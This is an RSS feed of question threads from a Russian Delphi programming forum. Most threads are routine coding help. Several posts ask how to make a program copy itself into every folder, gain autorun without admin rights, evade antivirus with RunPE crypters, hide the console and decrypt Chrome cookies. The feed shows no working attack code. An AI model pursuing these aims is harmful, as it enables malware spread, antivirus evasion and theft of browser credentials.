<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>delfcode</title>
<link>https://delfcode.ru/forum/</link>
<description>delfcode</description>
<lastBuildDate>Mon, 25 Jan 2016 12:19:51 GMT</lastBuildDate>
<generator>uCoz Web-Service</generator>
<item>
<title>Отлов ответа из cmd</title>
<link>https://delfcode.ru/forum/29-1462-1</link>
<pubDate>Mon, 25 Jan 2016 12:19:51 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Нагуглил функцию, но явно косяк с кодировкой&lt;br /&gt;Автор темы: tatsu&lt;br /&gt;Автор последнего сообщения: Neo&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Всем доброго времени суток. Собственно задача: Выполнять досовую команду, но ответ писать не в консоль приложения, а в переменную. Нагуглил функцию. Работает. Однако есть 1 нюанс. Функция возвращает байты точь в точь, поскольку использует именованный канал. Кирилическая винда в командную строку выплёвывает как правило ответ в кодировке 866. Однако на деле имеем вместо текста кучу знаков вопросов и всё. Для отладки выплюнул ответ в файл. Вооружлся notepad++ и hex-редактором. Сравнил байты, оказалось - инглишный текст соответствует ASCII, а вот там где должный быть кирилические символы - байты не известной кодировки. Подскажите, как привести это в читабельный вид. Функция:&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;function GetDosOutput(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CommandLine: string; Work: string = &apos;C:&amp;#92;&apos;&amp;#41;: string;&lt;br /&gt;var&lt;br /&gt;&amp;nbsp;&amp;nbsp;SA: TSecurityAttributes;&lt;br /&gt;&amp;nbsp;&amp;nbsp;SI: TStartupInfo;&lt;br /&gt;&amp;nbsp;&amp;nbsp;PI: TProcessInformation;&lt;br /&gt;&amp;nbsp;&amp;nbsp;StdOutPipeRead, StdOutPipeWrite: THandle;&lt;br /&gt;&amp;nbsp;&amp;nbsp;WasOK: Boolean;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Buffer: array&amp;#91;0..255] of Char;&lt;br /&gt;&amp;nbsp;&amp;nbsp;BytesRead: Cardinal;&lt;br /&gt;&amp;nbsp;&amp;nbsp;WorkDir: string;&lt;br /&gt;&amp;nbsp;&amp;nbsp;Handle: Boolean;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;Result := &apos;&apos;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;with SA do begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nLength := SizeOf(SA&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bInheritHandle := True;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lpSecurityDescriptor := nil;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;CreatePipe(StdOutPipeRead, StdOutPipeWrite, @SA, 0&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;with SI do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FillChar(SI, SizeOf(SI&amp;#41;, 0&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cb := SizeOf(SI&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wShowWindow := SW_HIDE;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hStdInput := GetStdHandle(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;STD_INPUT_HANDLE&amp;#41;; // не переадресовывать stdinput&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hStdOutput := StdOutPipeWrite;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hStdError := StdOutPipeWrite;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WorkDir := Work;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Handle := CreateProcess(nil, PChar(&apos;cmd.exe /C &apos; + CommandLine&amp;#41;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nil, nil, True, 0, nil,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PChar(WorkDir&amp;#41;, SI, PI&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(StdOutPipeWrite&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Handle then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;repeat&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WasOK := ReadFile(StdOutPipeRead, Buffer, 255, BytesRead, nil&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if BytesRead &gt; 0 then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Buffer&amp;#91;BytesRead] := #0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := Result + Buffer;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;until not WasOK or (BytesRead = 0&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WaitForSingleObject(PI.hProcess, INFINITE&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;finally&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(PI.hThread&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(PI.hProcess&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;&amp;nbsp;&amp;nbsp;finally&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(StdOutPipeRead&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;end;&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>tatsu</dc:creator>
<guid>https://delfcode.ru/forum/29-1462-1</guid>
</item>
<item>
<title>Delphi в Fasm XOR</title>
<link>https://delfcode.ru/forum/29-1459-1</link>
<pubDate>Tue, 29 Dec 2015 19:32:26 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>&lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilerK66DLg&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilerK66DLg&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerK66DLg&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerK66DLg&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerK66DLg&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilerK66DLg&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerK66DLg&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerK66DLg&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilerK66DLg&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;function DecryptByte(nByte:byte; key:string&amp;#41;:byte;&lt;br /&gt;var&lt;br /&gt;i:integer;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;for I := 1 to length(key&amp;#41; do&lt;br /&gt; begin&lt;br /&gt; result := ord(nByte&amp;#41; xor ord(key&amp;#91;i]&amp;#41;-(i xor ord(key&amp;#91;i]&amp;#41;&amp;#41;;&lt;br /&gt; end;&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;procedure DecryptByteArray2(input:array of byte; var output:array of byte; key:string&amp;#41;;&lt;br /&gt;var&lt;br /&gt;&amp;nbsp;&amp;nbsp;i,Delta,Res:integer;&lt;br /&gt;&amp;nbsp;&amp;nbsp;c,x:integer;&lt;br /&gt;begin&lt;br /&gt; for i:=0 to Length(input&amp;#41;-1 do&lt;br /&gt; begin&lt;br /&gt; output&amp;#91;i] := DecryptByte(input&amp;#91;i], key&amp;#41;;&lt;br /&gt; end;&lt;br /&gt;end;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;&lt;br /&gt;&lt;br /&gt;DecryptByteArray2(Массив_байтов; Результат_дешифровки_в_массиве; ключ_шифрования);&lt;br /&gt;&lt;br /&gt;Перепишите пожалуйста эти функции под fasm</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1459-1</guid>
</item>
<item>
<title>События компонентов в консольном приложении</title>
<link>https://delfcode.ru/forum/29-1458-1</link>
<pubDate>Mon, 21 Dec 2015 14:31:45 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: IRC в консольном приложении&lt;br /&gt;Автор темы: tatsu&lt;br /&gt;Автор последнего сообщения: ms301&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Всем привет, пилю консольный IRC-клиент. Столкнулся с проблемой - описание событий.&lt;br /&gt;При наличии формы она является классом и процедуры, назначенные на обработку событий, декларируются в описании класса, как его методы.&lt;br /&gt;Однако в консольном приложении для использования компонента я добавляю его в перечень uses.&lt;br /&gt;Подскажите, как при этом нужно обрабатывать события компонента?&lt;br /&gt;С вызовом методов - ничего сложного, обращаюсь через переменную экземпляра класса, а вот с событиями - ляпсус вышел.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>tatsu</dc:creator>
<guid>https://delfcode.ru/forum/29-1458-1</guid>
</item>
<item>
<title>Обьем exe в XE3</title>
<link>https://delfcode.ru/forum/29-1338-1</link>
<pubDate>Mon, 21 Dec 2015 06:19:01 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: toorook&lt;br /&gt;Автор последнего сообщения: ms301&lt;br /&gt;Количество ответов: 9</description>
<content:encoded>Всем Hi. Итак, до вчерашнего для работал в XE, все гуд. Сегодня поставил XE3, стал компилировать один и тот же код. Почему в XE мой exe весил 840kb, а в XE3 1,63mb ??? &lt;br /&gt; Я сильно разочарован... Может есть возможность сделать его меньше, без упаковщиков? Может где-то можно настроить это?</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>toorook</dc:creator>
<guid>https://delfcode.ru/forum/29-1338-1</guid>
</item>
<item>
<title>Помогите разобраться</title>
<link>https://delfcode.ru/forum/29-1457-1</link>
<pubDate>Tue, 15 Dec 2015 10:00:43 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Работа с компонентом zipforge&lt;br /&gt;Автор темы: Born&lt;br /&gt;Автор последнего сообщения: ms301&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Здравствуйте.&lt;br /&gt;Работаю с компонентом ZipForge.&lt;br /&gt;Компонент архивирует файлы,как оп маске так и по имени.&lt;br /&gt;Но оп маске он только одно расширение находит и архивирует.&lt;br /&gt;Вот пример кода:&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;procedure TForm1.Button1Click(Sender: TObject&amp;#41;;&lt;br /&gt;begin&lt;br /&gt;ZipForge1.BaseDir:=&apos;D:&amp;#92;&apos;;&lt;br /&gt;ZipForge1.FileName:=(&apos;D:&amp;#92;TestRar.zip&apos;&amp;#41;;&lt;br /&gt;ZipForge1.OpenArchive(fmCreate&amp;#41;;&lt;br /&gt;ZipForge1.BaseDir:=&apos;D:&amp;#92;&apos;;&lt;br /&gt;ZipForge1.AddFiles(&apos;*.txt&apos;&amp;#41;;//Если сюда ещё добавить маску &apos;*.pdf&apos; тогда он в обще не архивирует .&lt;br /&gt;ZipForge1.CloseArchive;&lt;br /&gt;showmessage(&apos;Запаковано&apos;&amp;#41;;&lt;br /&gt;&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;br /&gt;Есть у этого компонента свойства FileMask ,добавлял расширения но результата ноль.&lt;br /&gt;Помогите разобраться с компонентом...</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>Born</dc:creator>
<guid>https://delfcode.ru/forum/29-1457-1</guid>
</item>
<item>
<title>Копирование во все папки</title>
<link>https://delfcode.ru/forum/29-1452-1</link>
<pubDate>Thu, 12 Nov 2015 18:18:35 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: virusik83&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Может кто подскажет код , нужно чтоб программа копировала себя во все папки на пк.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>virusik83</dc:creator>
<guid>https://delfcode.ru/forum/29-1452-1</guid>
</item>
<item>
<title>ВОЗМОЖНО?</title>
<link>https://delfcode.ru/forum/29-1401-1</link>
<pubDate>Mon, 02 Nov 2015 16:05:07 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Born&lt;br /&gt;Автор последнего сообщения: MAS&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>Здравствуйте. &lt;br /&gt; Вообщем есть исходник запуска безопасного режима.. &lt;br /&gt; Исходник рабочий. &lt;br /&gt;&lt;br /&gt; Собственно вопрос:Если в исходник добавить код который будет добавлять программу в ауторан. &lt;br /&gt; При запуске программы запустится безопасный режим,программа добавится в ауторан без прав админа? &lt;br /&gt; Я имею виду ветку HLKM.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>Born</dc:creator>
<guid>https://delfcode.ru/forum/29-1401-1</guid>
</item>
<item>
<title>if &lt;50 then</title>
<link>https://delfcode.ru/forum/29-1450-1</link>
<pubDate>Sun, 01 Nov 2015 12:59:11 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: MAS&lt;br /&gt;Автор последнего сообщения: Гнилушка&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Привет всем, давно тут не появлялся, &lt;br /&gt;я хочу написать код проверки числа, например: если ровно 50 или больше (число в переменной string) то нечего не делает, если меньше выводим messagbox , я знаю как сделать , но я каждые цифры расписываю, так не удобно, так&lt;br /&gt;&lt;br /&gt; if (a &lt; b) and (a &lt; c) then&lt;br /&gt; l := a&lt;br /&gt; else if (b &lt; a) and (b &lt; c) then&lt;br /&gt;&lt;br /&gt;Объясните покажите &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt;</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>MAS</dc:creator>
<guid>https://delfcode.ru/forum/29-1450-1</guid>
</item>
<item>
<title>Dll + Exe</title>
<link>https://delfcode.ru/forum/29-1412-1</link>
<pubDate>Thu, 22 Oct 2015 13:13:45 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Wine&lt;br /&gt;Автор последнего сообщения: Slash&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>В общем есть .dll файл и .exe. Как можно объединить эти файлы в один исполняемый, что бы при запуске он извлекал из себя эту dll? Заранее благодарю.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>Wine</dc:creator>
<guid>https://delfcode.ru/forum/29-1412-1</guid>
</item>
<item>
<title>reverse dns lookup</title>
<link>https://delfcode.ru/forum/29-1425-1</link>
<pubDate>Sun, 04 Oct 2015 12:53:28 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: отжать список доменов на IP&lt;br /&gt;Автор темы: black_catt&lt;br /&gt;Автор последнего сообщения: black_catt&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Подскажите как сделать, куда копать? &lt;br /&gt; без обращений к посторонним сервисам, &lt;br /&gt; Я так понимаю что нужно свой ДНС сервер напрячь 53й порт, удп протокол &lt;br /&gt; но что спросить чтобы я ему скормил ip а он мне отдал список доменов подвязаных к ней...</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>black_catt</dc:creator>
<guid>https://delfcode.ru/forum/29-1425-1</guid>
</item>
<item>
<title>RunPE криптер эффективность?</title>
<link>https://delfcode.ru/forum/29-1424-1</link>
<pubDate>Mon, 21 Sep 2015 14:53:26 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Вот сижу и думаю. Многие криптеры используют RunPE - тобишь запуск файлов из памяти. Ясное дело что сперва все эти файлы шифруется всякими des, RC4, xor алгоритмами, но - действительно ли это эффективный метод? Почему антивирусы все еще не поставят какую нибудь заглушку на createprocess или createthread в suspend моде? Они же могут мониторить все исходящие апи вызовы? Вообще-м вопрос - это правда что runpe криптеры обходят так называемые проактивные защиты? И кто мне может сказать разницу меж эмуляцией и проактивной защитой? Антон, жду твоего коммена.</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1424-1</guid>
</item>
<item>
<title>Парсинг txt файла</title>
<link>https://delfcode.ru/forum/29-1422-1</link>
<pubDate>Fri, 18 Sep 2015 09:55:08 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: HTTqp&lt;br /&gt;Автор последнего сообщения: ramzeswr&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Подскажите как спарсить файл txt при помощи winapi Delphi. Пример, есть файл со следующими данными &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; Nickname{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;d4rkzy&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; Pass&amp;nbsp;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hgfh456uh&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; url {&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;https://******.net/****.html&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; как получить строчку строчку url, а точнее &lt;b&gt;https://******.net/****.html&lt;/b&gt; адрес? С использованием только Uses Windows;</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>HTTqp</dc:creator>
<guid>https://delfcode.ru/forum/29-1422-1</guid>
</item>
<item>
<title>delphi XE7 консольный демон</title>
<link>https://delfcode.ru/forum/29-1397-1</link>
<pubDate>Sat, 12 Sep 2015 11:39:09 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Как скрыть консоль у консольного проекта? &lt;br /&gt;&lt;br /&gt; Удалил: {$APPTYPE CONSOLE} &lt;br /&gt;&lt;br /&gt; Консоль все равно видна. &lt;br /&gt;&lt;br /&gt; Поставил ShowWindow(GetConsoleWindow(), 0); при запуске. &lt;br /&gt; Ну в таком раскладе консоль мегает на долю секунду, что не есть корректно. &lt;br /&gt;&lt;br /&gt; Как пофиксить?</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1397-1</guid>
</item>
<item>
<title>PACKAGEINFO и DVCLAL</title>
<link>https://delfcode.ru/forum/29-1410-1</link>
<pubDate>Tue, 08 Sep 2015 14:11:44 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: delphi mini&lt;br /&gt;Автор темы: black_catt&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Осваиваю &lt;a class=&quot;link&quot; href=&quot;https://delfcode.ru/publ/delphi/delphivir/1-1-0-4&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;тему&lt;/a&gt; микроскопического delphi. &lt;br /&gt; Как &lt;b&gt;не создавать&lt;/b&gt; ресурсы PACKAGEINFO и DVCLAL &lt;br /&gt; яснопонятно что их можно удалять ресурсэксплорером...</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>black_catt</dc:creator>
<guid>https://delfcode.ru/forum/29-1410-1</guid>
</item>
<item>
<title>декрипт куков хрома :3</title>
<link>https://delfcode.ru/forum/29-1409-1</link>
<pubDate>Sat, 05 Sep 2015 18:50:15 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 4</description>
